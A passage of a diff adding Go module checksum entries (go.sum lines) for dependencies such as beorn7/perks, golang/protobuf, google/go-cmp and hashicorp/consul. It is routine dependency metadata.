h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= +github.com/cenkalti/backoff/v4 v4.1.3/go.mod h1:scbssz8iZGpm3xbr14ovlUdkxfGXNInqkPWOWmG2CLw= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/checkpoint-restore/go-criu/v5 v5.3.0/go.mod h1:E/eQpaFtUKGOOSEBZgmKAcn+zUUwWxqcaKZlF54wK8E= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/cilium/ebpf v0.7.0/go.mod h1:/oI2+1shJiTGAMgl6/RgJr36Eo1jzrRcAWbcXO2usCA= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= +github.com/containerd/console v1.0.3/go.mod h1:7LqA/THxQ86k76b8c/EMSiaJ3h1eZkMkXar0TQ1gf3U= +github.com/containerd/continuity v0.3.0/go.mod h1:wJEAIwKOm/pBZuBd0JmeTvnLquTB1Ag8espWhkykbPM= +github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= +github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= +github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/cyphar/filepath-securejoin v0.2.3/go.mod h1:aPGpWjXOXUn2NCNjFvBE6aRxGGx79pTxQpKOJNYHHl4= +github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= +github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/docker/cli v20.10.14+incompatible/go.mod h1:JLrzqnKDaYBop7H2jaqPtU4hHvMKP+vjCwu2uszcLI8= +github.com/docker/docker v20.10.7+incompatible/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= +github.com/docker/go-connections v0.4.0/go.mod h1:Gbd7IOopHjR8Iph03tsViu4nIes5XhDvyHbTtUxmeec= +github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= +github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/godbus/dbus/v5 v5.0.6/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= +github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201218002935-b9804c9f04c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= +github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/google-cloud-go-testing v0.0.0-20200911160855-bcd43fbb19e8/go.mod h1:dvDLG8qkwmyD9a/MJJN3XJcT3xFxOKAvTZGvuZmac9g= +github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= +github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= +github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 h1:Ovs26xHkKqVztRpIrF/92BcuyuQ/YW4NSIpoGtfXNho= +github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= +github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= +github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= +github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= +github.com/hashicorp/consul/api v1.12.0/go.mod h1:6pVBMo0ebnYdt2S3H87XhekM/HHrUoTD2XXb/VrZVy0= +github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= 